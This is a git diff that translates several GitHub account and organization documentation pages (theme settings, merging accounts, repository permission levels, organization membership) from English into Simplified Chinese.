diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
index dcf8763603..5ed66d24b6 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your theme settings
-intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.'
+title: 管理主题设置
+intro: '通过设置主题首选项以遵循系统设置或始终使用浅色模式或深色模式，您可以管理 {% data variables.product.product_name %} 的外观，'
 versions:
   fpt: '*'
   ghae: '*'
@@ -11,12 +11,12 @@ topics:
 redirect_from:
   - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
-shortTitle: Manage theme settings
+shortTitle: 管理主题设置
 ---
 
-For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
+为了选择和灵活地使用 {% data variables.product.product_name %}，您可以配置主题设置来更改 {% data variables.product.product_name %} 的外观。 您可以在浅色和深色两个主题中进行选择，也可以配置 {% data variables.product.product_name %} 遵循系统设置。
 
-You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks.
+您可能需要使用深色主题来减少某些设备的功耗，以在低光条件下减小眼睛的压力，或者因为您更喜欢主题的外观。
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% endif %}{% ifversion fpt or ghae-issue-4619 or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes.
 
@@ -29,18 +29,16 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 {% endif %}
 
 {% data reusables.user_settings.access_settings %}
-1. In the user settings sidebar, click **Appearance**.
-
-   !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png)
+{% data reusables.user_settings.appearance-settings %}
 
 1. Under "Theme mode", select the drop-down menu, then click a theme preference.
 
-   ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png)
-1. Click the theme you'd like to use.
-    - If you chose a single theme, click a theme.
+   !["主题模式"下的下拉菜单用于选择主题首选项](/assets/images/help/settings/theme-mode-drop-down-menu.png)
+1. 单击想要使用的主题。
+    - 如果您选择单个主题，请单击一个主题。
 
       {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %}
-    - If you chose to follow your system settings, click a day theme and a night theme.
+    - 如果您选择遵循系统设置，请单击白天主题和夜间主题。
 
       {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png){% else %}![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync.png){% endif %}
     {% ifversion fpt or ghae-issue-4619 or ghec %}
@@ -56,6 +54,6 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
+- "[设置 {% data variables.product.prodname_desktop %} 的主题](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
index baf34206bf..df8b098f53 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Merging multiple user accounts
-intro: 'If you have separate accounts for work and personal use, you can merge the accounts.'
+title: 合并多个用户帐户
+intro: 如果工作和个人分别使用不同的帐户，您可以合并这些帐户。
 redirect_from:
   - /articles/can-i-merge-two-accounts
   - /articles/keeping-work-and-personal-repositories-separate
@@ -12,11 +12,12 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Merge multiple user accounts
+shortTitle: 合并多个用户帐户
 ---
+
 {% tip %}
 
-**Tip:** We recommend using only one user account to manage both personal and professional repositories.
+**提示：**建议只使用一个用户帐户来管理个人和专业仓库。
 
 {% endtip %}
 
@@ -26,11 +27,11 @@ shortTitle: Merge multiple user accounts
 
 {% endwarning %}
 
-1. [Transfer any repositories](/articles/how-to-transfer-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep.
-2. [Update the remote URLs](/github/getting-started-with-github/managing-remote-repositories) in any local clones of the repositories that were moved.
-3. [Delete the account](/articles/deleting-your-user-account) you no longer want to use.
-4. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. For more information, see "[Why are my contributions not showing up on my profile?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+1. 从您要删除的帐户[转让任何仓库](/articles/how-to-transfer-a-repository)到要保留的帐户。 议题、拉取请求和 wiki 也会转让。 确认要保留的帐户中存在仓库。
+2. [更新远程 URL](/github/getting-started-with-github/managing-remote-repositories)（在移动的仓库的任何本地克隆中）。
+3. [删除帐户](/articles/deleting-your-user-account)（不再使用的）。
+4. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. 更多信息请参阅“[为什么我的贡献没有在我的个人资料中显示？](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)”
 
-## Further reading
+## 延伸阅读
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- "[{% data variables.product.prodname_dotcom %} 帐户的类型](/articles/types-of-github-accounts)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
index ad89e73102..aff8a7edfe 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Permission levels for a user account repository
-intro: 'A repository owned by a user account has two permission levels: the repository owner and collaborators.'
+title: 用户帐户仓库的权限级别
+intro: 用户帐户拥有的仓库有两种权限级别：仓库所有者和协作者。
 redirect_from:
   - /articles/permission-levels-for-a-user-account-repository
   - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository
@@ -12,80 +12,87 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Permission user repositories
+shortTitle: 权限用户仓库
 ---
-## About permissions levels for a user account repository
 
-Repositories owned by user accounts have one owner. Ownership permissions can't be shared with another user account.
+## 关于用户帐户仓库的权限级别
 
-You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users on {% data variables.product.product_name %} to your repository as collaborators. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)."
+用户帐户拥有的仓库有一个所有者。 所有权权限无法与其他用户帐户共享。
+
+您还可以{% ifversion fpt or ghec %}邀请{% else %}添加{% endif %} {% data variables.product.product_name %} 上的用户成为仓库的协作者。 更多信息请参阅“[邀请协作者参加个人仓库](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)”。
 
 {% tip %}
 
-**Tip:** If you require more granular access to a repository owned by your user account, consider transferring the repository to an organization. For more information, see "[Transferring a repository](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)."
+**提示：**如果需要对用户帐户拥有的仓库实施更细致的权限，请考虑将仓库转让给组织。 更多信息请参阅“[转让仓库](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)”。
 
 {% endtip %}
 
-## Owner access for a repository owned by a user account
+## 所有者对用户帐户拥有仓库的权限
 
-The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions.
+仓库所有者对仓库具有完全控制权。 除了任何协作者可以执行的操作外，仓库所有者还可以执行以下操作。
 
-| Action | More information |
-| :- | :- |
-| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" |
-| Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %}
-| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %}
-| Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" |
-| Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" |
-| Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %}
-| Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %}
-| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %}
-| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes = 3.0 or ghae %}
-| Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %}
-| Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" |
-| Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %}
-| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" |
-| Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %}
-| Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" |
-| Archive the repository | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %}
-| Create security advisories | "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" |
-| Display a sponsor button | "[Displaying a sponsor button in your repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| Allow or disallow auto-merge for pull requests | "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %}
+| 操作                                                                                                                       | 更多信息                                                                                                                                                                                                                                                         |
+|:------------------------------------------------------------------------------------------------------------------------ |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| {% ifversion fpt or ghec %}邀请协作者{% else %}添加协作者{% endif %}                                                               |                                                                                                                                                                                                                                                              |
+| "[邀请个人仓库的协作者](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" |                                                                                                                                                                                                                                                              |
+| 更改仓库的可见性                                                                                                                 | “[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)” |{% ifversion fpt or ghec %}
+| 限制与仓库的交互                                                                                                                 | “[限制仓库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)”|{% endif %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| 重命名分支，包括默认分支                                                                                                             | "[重命名分支](/github/administering-a-repository/renaming-a-branch)" 
+{% endif %}
+| 合并受保护分支上的拉取请求（即使没有批准审查）                                                                                                  | "[关于受保护分支](/github/administering-a-repository/about-protected-branches)"                                                                                                                                                                                     |
+| 删除仓库                                                                                                                     | "[删除仓库](/repositories/creating-and-managing-repositories/deleting-a-repository)"                                                                                                                                                                             |
+| 管理仓库的主题                                                                                                                  | "[使用主题对仓库分类](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %}
+| 管理仓库的安全性和分析设置                                                                                                            | "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %}
+| 为私有仓库启用依赖项图                                                                                                              | “[探索仓库的依赖项](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)” |{% endif %}{% ifversion fpt or ghes > 3.1 or ghec or ghae %}
+| 删除和恢复包                                                                                                                   | “[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package)”|{% endif %}{% ifversion ghes < 3.1 %}
+| 删除包                                                                                                                      | “[删除包](/packages/learn-github-packages/deleting-a-package)”
+{% endif %}
+| 自定义仓库的社交媒体预览                                                                                                             | "[自定义仓库的社交媒体预览](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)"                                                                                                                                                       |
+| 从仓库创建模板                                                                                                                  | "[创建模板仓库](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies                  | "[管理仓库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %}
+| 忽略仓库中的 {% data variables.product.prodname_dependabot_alerts %}                                                         | "[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"                                                                                                                                |
+| 管理私有仓库的数据使用                                                                                                              | “[管理私有仓库的数据使用设置](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)”
+{% endif %}
+| 定义仓库的代码所有者                                                                                                               | "[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)"                                                                                                                                                                           |
+| 存档仓库                                                                                                                     | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %}
+| 创建安全通告                                                                                                                   | "[关于 {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)"                                                                                                               |
+| 显示赞助按钮                                                                                                                   | “[在仓库中显示赞助者按钮](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)”|{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| 允许或禁止自动合并拉取请求                                                                                                            | "[管理仓库中的拉取请求自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %}
 
-## Collaborator access for a repository owned by a user account
+## 协作者对用户帐户拥有仓库的权限
 
-Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository.
+个人仓库的协作者可以拉取（读取）仓库的内容并向仓库推送（写入）更改。
 
 {% note %}
 
-**Note:** In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a user account.
+**注：**在私有仓库中，仓库所有者只能为协作者授予写入权限。 协作者不能对用户帐户拥有的仓库具有只读权限。
 
 {% endnote %}
 
-Collaborators can also perform the following actions.
+协作者还可以执行以下操作。
 
-| Action | More information |
-| :- | :- |
-| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %}
-| Create, edit, and delete comments on commits, pull requests, and issues in the repository | <ul><li>"[About issues](/github/managing-your-work-on-github/about-issues)"</li><li>"[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"</li><li>"[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"</li></ul> |
-| Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" |
-| Manage labels for issues and pull requests in the repository | "[Labeling issues and pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" |
-| Manage milestones for issues and pull requests in the repository | "[Creating and editing milestones for issues and pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" |
-| Mark an issue or pull request in the repository as a duplicate | "[About duplicate issues and pull requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" |
-| Create, merge, and close pull requests in the repository | "[Proposing changes to your work with pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| Enable and disable auto-merge for a pull request | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %}
-| Apply suggested changes to pull requests in the repository |"[Incorporating feedback in your pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" |
-| Create a pull request from a fork of the repository | "[Creating a pull request from a fork](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" |
-| Submit a review on a pull request that affects the mergeability of the pull request | "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" |
-| Create and edit a wiki for the repository | "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" |
-| Create and edit releases for the repository | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)" |
-| Act as a code owner for the repository | "[About code owners](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %}
-| Publish, view, or install packages | "[Publishing and managing packages](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" |{% endif %}
-| Remove themselves as collaborators on the repository | "[Removing yourself from a collaborator's repository](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" |
+| 操作                          | 更多信息                                                                                                                                                                       |
+|:--------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 复刻仓库                        | "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| 重命名除默认分支以外的分支               | "[重命名分支](/github/administering-a-repository/renaming-a-branch)" 
+{% endif %}
+| 在仓库中创建、编辑和删除关于提交、拉取请求和议题的评论 | <ul><li>"[关于议题](/github/managing-your-work-on-github/about-issues)"</li><li>"[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"</li><li>"[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"</li></ul>                                                                                                                                                  |
+| 在仓库中创建、分配、关闭和重新打开议题         | "[使用议题管理工作](/github/managing-your-work-on-github/managing-your-work-with-issues)"                                                                                          |
+| 在仓库中管理议题和拉取请求的标签            | "[标记议题和拉取请求](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)"                                                                                      |
+| 在仓库中管理议题和拉取请求的里程碑           | "[创建和编辑议题及拉取请求的里程碑](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)"                                                    |
+| 将仓库中的议题或拉取请求标记为重复项          | "[关于重复的议题和拉取请求](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)"                                                                            |
+| 在仓库中创建、合并和关闭拉取请求            | "[通过拉取请求提议工作更改](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| 启用或禁用自动合并拉取请求               | "[自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %}
+| 将建议的更改应用于仓库中的拉取请求           | "[在拉取请求中加入反馈](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)"                             |
+| 从仓库的复刻创建拉取请求                | "[从复刻创建拉取请求](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)"                                                                     |
+| 提交影响拉取请求可合并性的拉取请求审查         | "[审查拉取请求中提议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)"                          |
+| 为仓库创建和编辑 wiki               | "[关于 wikis](/communities/documenting-your-project-with-wikis/about-wikis)"                                                                                                 |
+| 为仓库创建和编辑发行版                 | “[管理仓库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository)”                                                                                        |
+| 作为仓库的代码所有者                  | "[关于代码所有者](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %}
+| 发布、查看或安装包                   | "[发布和管理包](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" 
+{% endif %}
+| 作为仓库协作者删除自己                 | "[从协作者的仓库删除您自己](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)"                                               |
 
-## Further reading
+## 延伸阅读
 
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
index 9d844ae7de..a9d8e941ef 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
@@ -41,7 +41,7 @@ shortTitle: 组织成员资格
 
 {% ifversion fpt or ghec %}
 
-如果您的组织属于某个企业帐户，您会自动成为该企业帐户的成员，企业帐户所有者能够看到您。 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
+如果您的组织属于某个企业帐户，您会自动成为该企业帐户的成员，企业帐户所有者能够看到您。 For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% endif %}
 
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
index 06aab78e62..eadc33827d 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing an organization
-intro: 'To access an organization that you''re a member of, you must sign in to your personal user account.'
+title: 访问组织
+intro: 要访问您是其成员的组织，必须登录您的个人用户帐户。
 redirect_from:
   - /articles/error-cannot-log-in-that-account-is-an-organization
   - /articles/cannot-log-in-that-account-is-an-organization
@@ -16,9 +16,10 @@ versions:
 topics:
   - Accounts
 ---
+
 {% tip %}
 
-**Tip:** Only organization owners can see and change the account settings for an organization.
+**提示：**只有组织所有者才可查看和更改组织的帐户设置。
 
 {% endtip %}
 
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
index 0f06761832..d083e1fd67 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: Publicizing or hiding organization membership
-intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.'
+title: 公开或隐藏组织成员关系
+intro: 如果要公开显示您属于哪个组织，可以在个人资料中显示组织的头像。
 redirect_from:
   - /articles/publicizing-or-concealing-organization-membership
   - /articles/publicizing-or-hiding-organization-membership
@@ -13,18 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Show or hide membership
+shortTitle: 显示或隐藏成员资格
 ---
-![Profile organizations box](/assets/images/help/profile/profile_orgs_box.png)
 
-## Changing the visibility of your organization membership
+![个人资料组织框](/assets/images/help/profile/profile_orgs_box.png)
+
+## 更改组织成员关系的可见性
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Locate your username in the list of members. If the list is large, you can search for your username in the search box.
-![Organization member search box](/assets/images/help/organizations/member-search-box.png)
-5. In the menu to the right of your username, choose a new visibility option:
-    - To publicize your membership, choose **Public**.
-    - To hide your membership, choose **Private**.
-  ![Organization member visibility link](/assets/images/help/organizations/member-visibility-link.png)
+4. 在成员列表中找到您的用户名。 如果列表很长，可在搜索框中搜索您的用户名。 ![组织成员搜索框](/assets/images/help/organizations/member-search-box.png)
+5. 在用户名右边的菜单中，选择新的可见性选项：
+    - 要公开您的成员关系，请选择 **Public（公共）**。
+    - 要隐藏您的成员关系，则选择 **Private（私有）**。 ![组织成员可见性链接](/assets/images/help/organizations/member-visibility-link.png)
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
index c2db6f82ee..cb9a13014c 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from an organization
-intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
+title: 从组织中删除自己
+intro: 如果您是外部协作者或组织成员，您可以随时离开组织。
 redirect_from:
   - /articles/how-do-i-remove-myself-from-an-organization
   - /articles/removing-yourself-from-an-organization
@@ -13,15 +13,16 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Leave an organization
+shortTitle: 离开组织
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
+**警告：**如果您目前在组织中负责为 {% data variables.product.product_name %} 付款，从组织中删除自己**不会**更新组织的存档帐单信息。 如果您目前负责计费，则**必须**让组织的其他所有者或帐单管理员[更新组织的付款方式](/articles/adding-or-editing-a-payment-method)。
 
-For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
+更多信息请参阅“[转让组织所有权](/articles/transferring-organization-ownership)”。
 
 {% endwarning %}
 
@@ -29,5 +30,4 @@ For more information, see "[Transferring organization ownership](/articles/trans
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
